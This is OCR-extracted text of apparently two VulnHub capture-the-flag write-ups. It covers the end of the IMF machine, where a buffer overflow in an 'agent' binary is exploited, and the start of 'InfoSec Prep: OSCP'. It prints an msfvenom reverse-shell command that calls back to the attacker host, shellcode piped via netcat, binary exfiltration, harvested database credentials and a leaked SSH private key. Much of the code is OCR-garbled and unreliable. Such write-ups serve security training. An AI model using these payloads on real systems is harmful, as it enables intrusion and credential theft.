/etc/xinetd.d/agent

wuw-data@inf:/var/ww/html/infadninistrator/uploads$ find / -name agent 2>/dev/null
<infadministrator/uploads$ find / -name agent 2>/dev/null

/Jusr/local/bin/agent

/etc/xinetd.d/agent

wuw-data@imf:/var/ww/html/imfadministrator/uploadss

www-data@imf:/var/www/html/imfadministrator/uploads$ file /usr/local/bin/agent

<imfadministrator/uploads$ file /usr/local/bin/agent

/usr/local/bin/agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[shal]=444d1910b8b99d492e6e79fe2383fd346Tc8d4c7, not
stripped

- data@inf: /var/www/html/imfadministrator/uploadss

Figure 19: writeup.privesc.steps.1.1

www-data@imf: /var/www/html/imfadministrator/uploads$ netstat -antp
netstat -antp

(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root fo see it all.)
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp (0] 0 0.0.0.0:9090 0.0.0.0:* LISTEN 1788/nc

tcp o] 0 127.0.0.1:3306 0.0.0.0:* LISTEN =
0.0.80.0:7788 0.0.0.0:%* LISTEN =

tecp 0 0 0.0.0.8:22 0.0.0.0:* LISTEN =

tep (0] 125 192.168.92.178:43942 192.168.92.179:443 ESTABLISHED 1791/bash

tecp 2 0 1592.168.92.178:43936 192.168.92.179:443 CLOSE WAIT 1747/bash

tcpé (0] 0 :::80 e LISTEN -

tcpé (0] B o022 s LISTEN =

tcpd 1 0 192.168.92.178:80 192.168.92.179:47266 CLOSE WAIT -

tcpé 1 0 192.168.92.178:80 192.168.92.179:46474 CLOSE WAIT -

www-data@imf: /var/www/html/imfadministrator/uploads$

www-data@imf: /var/www/html/imfadministrator/uploads$ nc localhost 7788
nc localhost 7788

/ | __| Agent
742 [ || Reporting
| | | System

Agent ID : 1234
Invalid Agent ID
www-data@imf: /var/www/html/imfadministrator/uploads$

Figure 20: writeup.privesc.steps.1.2
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www-data@imf: /var/www/html/imfadministrator/uploads% 1s -1 fusr/local/bin/
1s -1 fusr/local/bin/

total 16

-rw-r--r-- 1 root root 19 Oct 16 2016 access codes

-rwxr-xr-x 1 root root 11896 Oct 12 2016 agent

www-data@imf: /var/www/html/imfadministrator/uploads$

www-data@imf: /var/www/html/imfadministrator/uploads$ cat /usr/local/bin/access codes
<imfadministrator/uploads$ cat fusr/local/bin/access codes

SYN 7482,8279, 9467

www-data@imf: /var/www/html/imfadministrator/uploads$

Figure 21: writeup.privesc.steps.1.3

2. We find MySQL credentials within /var/www/html/imfadministrator/cms.php file but those didn’t seem to
be correct and as such we moved on:

1 find / -name agent 2>/dev/null
2 /usr/local/bin/agent
3 /etc/xinetd.d/agent

13



www-data@imf: /var/www/html/imfadministrator$ pwd
pwd
/var/www/html/imfadministrator
www-data@imf: /var/www/html/imfadministrator$ cat cms.php
cat cms.php
<?php error reporting(E ALL); ini set('display errors', 1); session start(); ?><html>
<head=>
=title=IMF CMS</title=
</head>
<body=
<h1=IMF CMS</hl=
=?php
if(isset($ SESSION['admin logged on']) && $ SESSION['admin logged on'] == 'that is affirmative sir') {
7=
Menu:
<a href='cms.php?pagename=home'=Home</a= |
<a href='cms.php?pagename=upload'=Upload Report</a> |
<a href='cms.php?pagename=disavowlist'=Disavowed list</a= |
Logout
<br /=<br/=
<?php
$db user "admin’;
$db_pass = '3298fjg323j8edf!49';

$db_name "admin’;
$link = mysgli connect('localhost',$db user,$db pass,$db name);

$pagename = isset($ GET['pagename'])}?$ GET['pagename']:'home’;
$pagename str replace('--', '', $pagename);

$gquery = "SELECT "pagedata’ FROM "pages’ WHERE " pagename = '".$pagename."'";
$result = mysqli_query($link, $query);

$page = mysqli fetch row($result);
print $page[@];
} else {
print "Please login <a href='index.php'>Here</a=>";

}

7=

</body>

</html>

www-data@imf: /var/www/html/imfadministrator$

Figure 22: writeup.privesc.steps.2.1

3. We transfer the binary locally and start exploring it:

cat /usr/local/bin/agent | base64 >agentfile
nc -nlvp 9090 >agentfile
nc 192.168.92.178 9090 <agentfile

www-data@imf: /var/www/html/imfadministrator/uploads$ nc 192.168.92.179 9090 <agentfile
<imfadministrator/uploads$ nc 192.168.92.179 9098 <agentfile
www-data@imf: /var/www/html/imfadministrator/uploads$

Figure 23: writeup.privesc.steps.3.1
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root@kali: ~/toolbox/data/writeups/vulnhub.imf # nc -nlvp 9090 >agentfile

listening on [any] 9890

connect to [192.168.92.179] from (UNKNOWN) [192.168.92.178] 58364

root@kali: ~/toolbox/data/writeups/vulnhub.imf #

root@kali: ~/toolbox/data/writeups/vulnhub.imf #

root@kali: ~/toolbox/data/writeups/vulnhub.imf # 1s -lah agentfile

Srwer--r-- 1 16K Sep 26 14:27 agentfile

root@kali: ~/toolbox/data/writeups/vulnhub.imf #

root@kali: ~/toolbox/data/writeups/vulnhub.imf # cat agentfile | base64 -d >agent

root@kali: ~/toolbox/data/writeups/vulnhub.imf # file agent

agent: ELF 32-bit LSB executable, Intel 88386, version 1 (SYSV), dynamically linked, interpreter /lib
/ld-1linux.s0.2, for GNU/Linux 2.6.32, BuildID[shal]=444d1910b8b99d492e6e79Te2383fd346Tc8d4c7, not str
ipped

root@kali: ~/toolbox/data/writeups/vulnhub.imf #

root@kali: ~/toolbox/data/writeups/vulnhub.imf # 1s -lah agent

Srwer--r-- 1 12K Sep 26 14:28 agent

root@kali: ~/toolbox/data/writeups/vulnhub.imf #

Figure 24: writeup.privesc.steps.3.2

4. Tt requests for an agent ID which we find to be 48093572 using objdump. Upon entering this ID we are presented
multiple options and the #3 option seems vulnerable to a buffer overflow. We found the EIP offset to be 168 and
then use ROPShell to find a call or jmp that can be used for redirecting control. We created a linux reverse shell
using msfvenom, crafted our exploit and used netcat to submit it as payload to the locally running instance of the
vulnerable agent binary:

objdump -d agent | grep "<main>:" -A30
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.92.179 LPORT=4433 -f python -b
»  "\x00\x0a\x0d"
nc -nlvp 4433
echo -en "48093572\n3
o \n\xbe\xc3\x35\x65\xa2\xd9\xc8\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x12\x83\xc2\x04\x31\x72\x0e\x03\xb1\x3b
< " | nc localhost
- 7788

root@kali: ~/toolbox/data/writeups/vulnhub.imf # file agent

agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[shal]=444d1910b8b99d492e6e79fe2383fd346Fc8d4c7, not stri
pped

rootakali: ~/toolbox/data/writeups/vulnhub.imf #

root@kali: ~/toolbox/data/writeups/vulnhub.imf # checksec --file agent

RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partia 0 No canary found NX disabled No PIE No RPATH  No RUNPATH agent
root@kali: ~/toolbox/data/writeups/vulnhub.imf #

root@kali: ~/toolbox/data/writeups/vulnhub.imf #

root@kali: ~/toolbox/data/writeups/vulnhub.imf # gdb agent -q

Reading symbols from agent...{no debugging symbols found)...done.

gdb-pedas checksec

CANARY  : disabled

FORTIFY : disabled

NX : disabled

PIE : disabled

RELRO : Partia

gdb-pedas

gdb-pedas quit

root@kali: ~/toolbox/data/writeups/vulnhub.imf #

Figure 25: writeup.privesc.steps.4.1
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http://ropshell.com/ropsearch?h=fabc1afd43f668df0b812213567d032c

root@kali: -~/toolbox/data/writeups/vulnhub.imf # objdump -d agent | grep "<main=:" -A30
080485fb =main=:

80485fh: 8d 4c 24 B4 lea Bx4(%esp) ,%ecx
88485ff: 83 e4 fo and $axfffffffe,%esp
8048602: ff 71 fc pushl -8x4(%ecx)
8048605: 55 push  =ebp

8048606: 89 e5 mov %esp,%ebp
8048608: 51 push  %ecx

8048609: 83 ec 24 sub $0x24,%esp
864860cC: al 44 bo P4 08 mow 0x804b044, %eax
8048611: 83 ec 08 sub $0x8,%esp
8048614: Ba 00 push +0x0

8048616: 50 push  %eax

8648617: ed 34 fe ff ff call 8048450 =setbuf@plt=
884861c: 83 c4 18 add $0x10,%esp
804861T: 83 ec 04 sub $0x4,%esp

BO48622: 68 84 dd push $0x2ddd9s4
8048627 68 fO 89 04 08 push +0xB80489T0
804862c: 8d 45 eB lea -0x20 (%ebp) ,%eax
804862f: 50 push  %eax

8048630: e8 8b fe Tf T call 80484c0 =asprintf@plt=
8048635: 83 c4 10 add $0x10,%esp
8048638: 83 ec 6c sub £0xcC,%esp

804863b: 68 f3 89 04 08 push +0x8048973
8048640: e8 5b fe ff ff call 80484a0 =puts@plt>
8048645 83 c4 10 add $0x10,%esp
80486485: 83 ec Oc sub $0xcC,%esp

804864b: 68 05 8a 04 038 push +0x8048a05
8048650: eB 4b fe ff ff call 80484a0 <puts@plt>
8048655: 83 c4 10 add $£0x10,%esp
8048658: 83 ec Oc sub $0xC,%esp

864865h: 68 le 8a b4 P8 push +t0x8048ale
root@kali: -/toolbox/data/writeups/vulnhub.imf #

root@kali: -/toolbox/data/writeups/vulnhub.imf #

root@kali: -/toolbox/data/writeups/vulnhub.imf # printf "%d\n" 80x2ddd984
48093572

root@kali: -/toolbox/data/writeups/vulnhub.imf #

Figure 26: writeup.privesc.steps.4.2
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R e e LR e R L registers---------------mmrrrrcr oo ]
EfAX: Oxbfffeacd ("AAA%AASAABAASAANAACAA-AA(AADAA; AA)AAEAABAADAAFARDAALAAGAACAAZAAHAAAASAATAARS
AWAAUAAXAAVAARY AAWAAZARAXARYA™ . .. )

EBX: B8x0
ECX: 0xb7faaB90 --> 0x0
EDX: @x16

ESI: 0xb7fa9000 --> 0x1d9d6c

EDI: 0xb7fa%000 --> O0x1d9déc

EEP: 0x41417241 ('ArAA')

ESP: @xbfffeb70 ("AAWAAUAAXAAVAAYAAWAAZAAXAAYAAZAS::A%SASBASEA%NASCAS-AS(A%DA%; A% ) ASEASaAS0A%FAS
TASQASUASrASVAS" . . . )

EIP: 0x74414156 ('VAAt')

EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

e e it [0 T L e e 1

Invalid $PC address: 0x74414156

0000 | OxbTTfeb7o ("AAWAAUAAXAAVAAYAAWAAZAAXAAYAAZASSASSASBASSASNASCAS - AS(A%DA%; A% ) ASEA%aA%OASF/
STAGQASUASIrASVAS" . .. )
0004 | Oxbfffeb74 ("AuAAXAAVAAYAAWAAZAAXAAYAAZASSA%GSASBASSASNAGCAS - A% (A%DA%S; A%) ASEA%aA%OASFASDAS
qQAGUA%GrASVASTASW" . .. )
0008 | Oxbfffeb78 ("XAAVAAYAAWAAZAAXAAYAAZAGSASSASBASSASNASCA%S- A% (ASDA%; A%) ASEASaA%OASFASDA%S 1AS(
A rASEVASTASWASUA" . .. )
0012| OxbTffeb7c ("AAYAAWAAZAAXAAYAAZASSA%SASBAGSASNASCA% - A% (A%DA%S; A%) ASEA%aASOASFASDAS1ASGASCE
SEVASTASWASUASXAS" . . L)
0016| Oxbfffeb80 ("AWAAZAAXAAYAAZASSASSASBASSASNASCAS - A% (ASDAS; A% ) ASEASaASOA%FAGDAG1AGGA%SCA%S2AS
TAGBWAGUAGXASVASY" . . .)
0020 | 0xbTffeb84 ("ZAAXAAYAAZASSA%SSASBASSASNASCAS- A% (ASDAS; A% ) ASEASaAS0ASFA%DAG1A%GA%SCA%S2A%HASL
A%BUAGEXABVASYASWA" . .. )
0024 | Oxbfffeb88 ("AAYAAZA%SSA%SASBAGSASNAGCA%S-A%(A%DA%S; A%) ASEA%aAS0ASFA%SDASLA%GASCAS2ASHASdAS3E
EXAEVASY ASBSWASZAS" . .. )
0028| Oxbfffeb8c ("AzZA%%ASSA%BASSASNASCA%S- A% (ASDA%S; A%) ASEA%aA%DASFASDAS LAS0ASCAS2A%HASdAS3ASTIAS
VAZSYASWASZAGEXASY" . .. )

Legend: code, data, rodata, value
Stopped reason: SIGSEGY
0x74414156 in 7?7 ()

gdb-peda$
gdb-peda$ pattern_
pattern arg pattern_create pattern_env pattern_offset pattern_patch pattern_search

gdb-ped5$ pattern_offset 0x74414156
1950433622 found at [REELEEGTE
gdb-peda$

Figure 27: writeup.privesc.steps.4.3
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root@kali: ~/toolbox/data/writeups/vulnhub.imf # msfvenom -p linux/x86/shell reverse tcp LHDOST=192.16
8.92.179 LPORT=4433 -f python -b "\x80\x0a\xod"

[-]1 No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload

Found 10 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata ga nai succeeded with size 95 (iteration=e0)

x86/shikata ga nai chosen with final size 95

Payload size: 95 bytes

Final size of python file: 470 bytes

buf = "

buf += "\xbe\xc8\xef\x4c\x3Nxdb\xc8\xd9\x74\x24\x T4\ x5d\x31"

buf += "\xc9\xb1\x12\x31\x75\x12\x83\xed\xfc\x03\xbd\xel\xae"

buf += "\xce\x0cA\x25\xd9\xcc\x3d\x9a\x75\ X7\ xc3\x95\x9b\xcd"

buf += "\xa5\x68\xdb\xbd\x70\xc3\xe3\x0c\x02\x6a\x65\x76\x6a"

buf += "\xad\x3d\xd4\xd9\x45\x3ch\ xe5\x0c\xcT\xcO\ x04\ x9%e\x81"

buf += "\x99\x97\x8d\xTe\x19\x91\xdO\xcc\x9e\xT3\x7a\xal\xbl"

buf += "\x80\x12\x55\xel\x49\xBO\XxccA\x74\x 76\ x 16\ x5Cc\ xBe\x98"

buf += "\x26\x69\xdd\xdb"

root@kali: ~/toolbox/data/writeups/vulnhub.imf #

Figure 28: writeup.privesc.steps.4.4

www-data@imf:/var/www/html/infadministrator/uploads$ echo -en "48893572\n3\n\xbe\xc3\x35\x65\xa2\xd9\xc8\xd9\X74\x24\xFA\X52\x33\XCO\xb1\Xx12\X83\XC2\X04\X31\X72\ X0\ X03\Xb1\X3D\X87\X57\x04\x9 T\ xbO\X7b\x3
5\x5€\x6c\x16\xbb\xeb\x73\x56\xdd\x26\xf3\x04\x78\x09\xcb\xe7\xfa\x20\x4d\x01\x92\x72\x05\xad\xd 1\ x1b\x54\x4e\x04\x8d\xd1\xaf\x96\x4b\xb2\x7e\x85\x20\x31\x08\xc8\x8a\xb6\x58\ x62\x7b\x98\x2f\x1a\ xeb\xcO\x
€0\xb8\x82\x9c\x1c\x6e\x06\x16%x03\ x3e\xa3\xe5\ x44\x4 I\ x4 1\ x4 1\ x4 1\ x4 1\ x4 1\ x4 1\ x4 1\ x4 I\ X4 1\ x4 1 x4 1\ x4 1\ X4 1\ x4 1\ x4 1N x4 I\ XA T\ X4 1N x4 1\ x4 1\ x4 1\ x4 1\ x4 1N x4 I\ XA 1\ x4 1N x4 1\ x4 1\ x4 1\ x4 1\ x4 1\ x4 I\ x4 1\ x4 1\ x4 1\ x41\ x4 1\
X4T\XA1\ XA\ XA 1\ XAT\ X4 1\ X4 1\ X4T\X4 I\ X1\ X4 1\ X4 1\ X4 T\ X4 1\ X4 1\ XA 1A X4 1\ X4 T\ XA 1\ X4 1\ XA T\ X4 1\ X4 T\ XA 1\ X4 1\ XA 1\ X4 1\ X4 1\ X4 1\ X4 1\ x4 1\ x41\ X4 1\ x4 1\ x41\X63\x85\x04\x08\x0a" | nc localhost 7788
<X41\x41\x41\x41\x41\x63\x85\x04\x08\x0a" | nc localhost 7788

I__1 \/ | _| Agent
TTI \/I | T Reporting
I B System

Agent ID : Login Validated

Main Menu:

1. Extraction Points

2. Request Extraction

3. submit Report

0. Exit

Enter selection:

Enter report update: Report: Set$Z3mlr;W{5\lsVéx MrNsk~ IXb{/n=D
submitted for review.

www-data@imf: /var/waw/html/infadministrator/uploads$

Figure 29: writeup.privesc.steps.4.5

5. We got elevated access to the system and can now get the last flag:

cat /root/Flag.txt
flag6{R2gwc3RQcmIOMGMwbHM=}
cat /root/TheEnd.txt
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root@kali: ~/toolbox/data/writeups/vulnhub.imf # nc -nlvp 4433
listening on [any] 4433 ...

connect to [192.168.92.179] from (UNKNOWN) [192.168.92.178] 55928
id

uid=0(root) gid=0(root) groups=0(root)

uname -a
Linux imf 4.4.0-45-generic #66-Ubuntu SMP Wed Oct 19 14:12:37 UTC 2016 x86 64 x86 64 x86 64 GNU/Linux

ifconfig
etho Link encap:Ethernet Hwaddr 00:0c:29:2a:cd:d9
inet addr:192.168.92.178 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe8@::20c:291f:fe2a:cdd9/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1580 Metric:1
RX packets:25091 errors:0 dropped:@ overruns:@ frame:®
TX packets:1543 errors:0 dropped:@ overruns:® carrier:@
collisions:® txgqueuelen:1088
RX bytes:21668864 (2.1 MB) TX bytes:513863 (513.8 KB)

Figure 30: writeup.privesc.steps.5.1
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pwd
/

cd froot

1s -la

total 28

drwx------ 3 root root 4096 Oct 26 2016 .
drwxr-xr-x 25 root root 4096 0Oct 26 2016 ..
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 26015 .profile
drwx------ 2 root root 4896 Oct 16 2016 .ssh
-rw-r--r-- 1 root root 28 0ct 11 2016 Flag.txt
-rw-r--r-- 1 root root 947 Oct 26 2016 TheEnd.txt

cat Flag.txt
flag6{R2gwc3R0cmIOMGMwbHM=}

cat TheEnd. txt

L ()yvs 7/
SN N N C= - N )
PO S B S A A N S S S SRR A AV 4
S .
VAR VAR O I U R
LSS === NS N
O S S S S S B A W A
f_
/SN -)
A A W A A W A N 4

Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed ift.
Thank you for trying this challenge and please send any feedback.

Geckom

Twitter: @g3ckoma

Email: geckom@redteamr.com
Web: http://redteamr.com

Special Thanks
Binary Advice: 0] (@TheColonial) and Justin Stevens {(@justinsteven)

Web Advice: Menztrual (@menztrual)
Testers: dook (@dooktwit), Menztrual (@menztrual), 11id3nlg and 0J(@TheColonial})

Figure 31: writeup.privesc.steps.5.2

root@kali: ~/toolbox/data/writeups/vulnhub.imf # echo -en "R2gwc3RQcm9@MGMwbHM=" | base64 -d - ; echo
GhostProtocols
root@kali: ~/toolbox/data/writeups/vulnhub.imf #

Figure 32: writeup.privesc.steps.5.3
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Loot
Hashes

setup: $6$PR5z0qWk$3MKXMgf6 . 4bL1znhOR87RB4qa0AcGhbEOCs8xtUqVPHP8x0553/ |
< 6aMZnfsZOWKXLODOQUCVRKECQNSDV ..o v vvviiii i i i

Credentials

mysql: admin/3298fj8323j80.....

Flags

flag1{YWxsdGhlZmls.....
flag2{aWimYWRtaW5spc3RyYXR......
£1ag3{Y29udGludWVUT2N. .. ...
flag4{dXBsb2FkcjkOMi5. .. ...
flagb{YWd1lbnRzZXJ2aWN... ...
flag6{R2gwc3RQAcmIOMGM. . . . ..

References

[+] https://www.vulnhub.com/entry/imf-1,162/
[+] https://g0blin.co.uk/imf-vulnhub-writeup/
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[VulnHub] InfoSec Prep: OSCP

Date: 10/Aug/2020
Categories: vulnhub, linux

Tags: enumerate_proto_http, exploit_ ssh_ privatekeys, privesc_Ixc_bash

Overview

This is a writeup for VulnHub VM InfoSec Prep: OSCP. Here are stats for this machine from machinescli:

machinescli -t --info oscp

# ID Name

Rating Difficulty 05 0SCPlike Owned TTPs

1. vulnhub#508 InfoSec Prep:

osce L [
privesc_lxc_bash

Killchain

Figure 1: writeup.overview.machinescli

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/infosec-prep-oscp,508/
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=enumerate_proto_http&unscoped_q=enumerate_proto_http
https://github.com/7h3rAm/writeups/search?q=exploit_ssh_privatekeys&unscoped_q=exploit_ssh_privatekeys
https://github.com/7h3rAm/writeups/search?q=privesc_lxc_bash&unscoped_q=privesc_lxc_bash
https://www.vulnhub.com/entry/infosec-prep-oscp,508/
https://github.com/7h3rAm/machinescli

[VulnHub] InfoSec Prep: OSCP

1192.168.119.198 |

I

‘SBEGEHTCp 22/tcp | 80/tcp

¥
‘wnrdpress blog: ssh user -> oscp

: L .
gobuster/robots.txt -> /secret.txt

. Y .
secret.txt containes base64 encoded ssh pvt key

Y

download ssh key, set right permissions (600) and login

h

ssh (oscp)

: L .
user is member of 1lxc group

¥

-lxcflxd not in path.

: L .
use absolute filenames and setup bash container

¥

shell (root)

Y

.jmntfruntjruutjflag.txt.

Figure 2: Writeupéoverview.killchain



TTPs

1. 80/tcp/http/Apache httpd 2.4.41 ((Ubuntu)): enumerate_ proto__http, exploit_ssh_privatekeys,
privesc_ Ixc_bash


https://github.com/7h3rAm/writeups#enumerate_proto_http
https://github.com/7h3rAm/writeups#exploit_ssh_privatekeys
https://github.com/7h3rAm/writeups#privesc_lxc_bash
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.80 scan initiated Mon Jul 20 12:03:57 2020 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN

o /home/kali/toolbox/repos/writeupsall/vulnhudb. infosecpreposcp/192.168.119.198/scans/_quick_tcp_nmap.tzt

< -0X

o /home/kali/toolboz/repos/writeupsall/vulnhub. infosecpreposcp/192.168.119.198/scans/zml/_quick_tcp_nmap

» 192.168.119.198
Nmap scan report for 192.168.119.198
Host is up, received user-set (0.0022s latency).
Scanned at 2020-07-20 12:04:12 IST for 9s
Not shown: 998 closed ports
Reason: 998 conn-refused
PORT  STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2pl1 Ubuntu 4ubuntu0.l1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| _http-generator: WordPress 5.4.2
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
| _/secret.txt
| _http-server-header: Apache/2.4.41 (Ubuntu)
| _http-title: OSCP Voucher &#8211; Just another WordPress site
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap dome at Mon Jul 20 12:04:21 2020 -- 1 IP address (1 host up) scanned in 24.59 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports
# Port Protocol Service Scans

1.  22/tcp ssh OpenSSH B.2p1 Ubuntu 4ubuntu@.1 (Ubuntu Linux protocol 2.8) ./192.168.119.198/scans/tcp_22_ssh_nmap. txt

Figure 3: writeup.enumeration.steps.2.1

3. We find 80/tcp to be open. Upon browsing the webpage we see that it looks to be a Wordpress blog with a
post named “OSCP Voucher”. This posts lists the process to submit the flag and also mentions that there’s a user
named oscp on this machine:


https://github.com/Tib3rius/AutoRecon

Just another WordPress site

UNCATEGORIZED

OSCP Voucher

2 Byadmin (5 July9,2020 {3 No Comments

Heya! Welcome to the hunt.

In order to enter the give away, you must obtain the root
flag located in /root/. Once you’ve obtained the flag,
message the TryHarder bot with the command !flag
<insert flag>. It will then validate the flag for verification.
Should it be incorrect, it will let you know. If it’s correct,
you will be given a new role on the server where you can
chat with others in a private channel. Once you've
received the role you are entered into the give away!

You must be a member of the server in order to use the
command above.

For those downloading this box off vulnhub at a later
time, the command above will no longer be available.

Oh yea! Almost forgot the only user on this box is
“oscp”.

A big thank you to Offensive Security for providing the
voucher.

Happy Hunting

-FalconSpy & InfoSec Prep Discord Server

(https://discord.gg/RRgKaep )

UNCATEGORIZED

Hello worid!

2 Byadmin (5 July9,2020 (3 1Comment

‘Welcome to WordPress. This is your first post. Edit or
delete it, then start writing!

Archives

July 2020
Recent Posts

OSCP Voucher Categorie S
Hello world! Uncategorized
Recent Comments Meta

A WordPress Commenter on Hello world! Login

Entries feed
Comments feed
WordPress.org

©® 2020 OSCP Voucher Powered by WordPress

Figure 4: writeup.egumeration.steps.?).1

Sample Page

Q

search



4. The gobuster scan result confirms that this is a Wordpress blog. We see an interesting entry secret.txt from
gobuster scan results and also from the robots.txt file:

kaligkali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $ cat ./192.168.119.198/scans/tcp_80_http_gobuster.txt
.hta (Status: 403) [Size: 280]

.hta.html (Status: 403) [Size: 280]
.hta.php (Status: 403) [Size: 280]
.hta.asp (Status: 403) [Size: 280]
.hta.aspx (Status: 483) [Size: 280]
.hta.jsp (Status: 4063) [Size: 280]
.hta.txt (Status: 4@63) [Size: 280]
.htpasswd (Status: 403) [Size: 280]
.htpasswd.asp (Status: 403) [Size: 280]
.htpasswd.aspx (Status: 403) [Size: 280]
.htpasswd.jsp (Status: 403) [Size: 280]
.htpasswd.txt (Status: 403) [Size: 280]
.htpasswd.html (Status: 403) [Size: 280]
.htpasswd.php (Status: 403) [Size: 280]
.htaccess (Status: 403) [Size: 280]
.htaccess.txt (Status: 403) [Size: 280]
.htaccess.html (Status: 403) [Size: 280]
.htaccess.php (Status: 403) [Size: 280]
.htaccess.asp (Status: 403) [Size: 280]
.htaccess.aspx (Status: 403) [Size: 280]
.htaccess.jsp (Status: 403) [Size: 280]
/index.php (Status: 301) [Size: 0]
/index.php (Status: 301) [Size: 0]
/javascript (Status: 301) [Size: 323]
/license.txt (Status: 200) [Size: 19915]
/readme.html (Status: 200) [Size: 7278]
/robots.txt (Status: 200) [Size: 36]
/robots.txt (Status: 200) [Size: 36]
[/secret.txt (Status: 200) [Size: 3502]
/server-status (Status: 403) [Size: 280]
/wp-admin (Status: 301) [Size: 321]
/wp-content (Status: 301) [Size: 323]
Jwp-includes (Status: 301) [Size: 324]
/wp-config.php (Status: 2086) [Size: @]
/wp-cron.php (Status: 200) [Size: 0]
/wp-blog-header.php (Status: 200) [Size: 0]

B e e e i

Figure 5: writeup.enumeration.steps.4.1

kaligkali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $

kalidkali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $ cat ./192.168.119.198/scans/tcp_80_http_robots.txt
HTTP/1.1 200 OK

Date: Mon, 20 Jul 2020 06:34:21 GMT

Server: Apache/2.4.41 (Ubuntu)

Last-Modified: Thu, 09 Jul 2020 06:49:19 GMT

ETag: "24-5a9%fc9fae6fe2”

Accept-Ranges: bytes

Content-Length: 36

Content-Type: text/plain

User-Agent: *

Disallow: /secret.txt
kaliakali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $

Figure 6: writeup.enumeration.steps.4.2

5. This file has base64 encoded content that we decode to find a SSH private key file:
1 curl http://192.168.119.198/secret.txt | base64 -d -



kaligkali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $
kaliakali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $ curl http://192.168.119.198/secret.txt | base64 -d -

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
188 35082 160 3502 0 8 1139k B omiesiiow —mrentte melesie= 330K

b3BlbnNzaClrZXktdjEAAAAABGSvbmUAAAAEDMIUZOAAAAAAAAABAAABTWAAAAdZC28tCn
NhAAAAAWEAAQAAAYEATHCSSZHEUF8K8t10qECQYLrKKrCRsbvq6iIG7ROgOWPYIw+gkUe
I1zBScvglLE9flolsKdx FMQQbMVGqSADnYBTavaigQekuedblsYk/rZ5FhOURZLTvd1IWxz
bIeyC5a5FOD19UYmzChe43z0D00i0wl78GIU0agscLmEatqIiT/2FkF+AveW3hgPfbrwov
A9QAIUA3ledqr8XEzY//Lq0+sQg/pUuBKPkY18i6vnfiYHGkyW1SgryPh5x9BGTk3eRYcN
w6mDbA jXKKCHGM+dnnGNgvAkqT+gZWz/MpyBekauk6NP7NCzORNrIXAYFalrWzaEtypHwY

Figure 7: writeup.enumeration.steps.5.1

Findings

Open Ports

22/tcp ssh OpenSSH 8.2pl1 Ubuntu 4ubuntu0.1 (Ubuntu Linux protocol 2.0)
80/tcp http Apache httpd 2.4.41 ((Ubuntu))

33060/tcp  socksbh

Files

http://192.168.119.198/secret.txt
http://192.168.119.198/1license.txt

Users

ssh: oscp
wordpress: admin



Phase #2: Exploitation

1. We can try to SSH into the machine as user oscp using the SSH private key file. First, we need to set right
permissions to the key file and then use it for login:

curl http://192.168.119.198/secret.txt | base64 -d - >./sshkey.pvt
chmod 600 sshkey.pvt
ssh -i sshkey.pvt oscp@192.168.119.198

kaliakali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $
kaliakali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $ curl http://192.168.119.198/secret.txt | base64 -d - >./sshkey.pvt

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
106 3562 100 3502 a 0 1709k B === ——p=—=y= —=i==1—- 1709k

kaligkali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $

kaligkali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $ 11 sshkey.pvt

-rw-r--r-- 1 kali kali 2.6K Jul 2@ 12:23 sshkey.pvt

kaligkali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $

kaliakali: ~/tuulbux/repus/wr:teupsal1/vulnhuh 1nfusecprepnscp $ ssh -1 sshkey.pvt oscp@192.168.119.198

Perm1551uns Bﬁah for sshkey pvt are too open.

It is required that your private key files are NOT accessible by others.
This private key will be ignored.

Load key "sshkey.pvt™: bad permissions

0scp@192.168.119.198: Permission denied (publickey).

kaliakali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $

Figure 8: writeup.exploitation.steps.1.1

2. We successfully login and get interactive access of the machine as user oscp:

kaliakali: ~/toolbox/repos/writeupsall/vulnhub.infosecpreposcp $

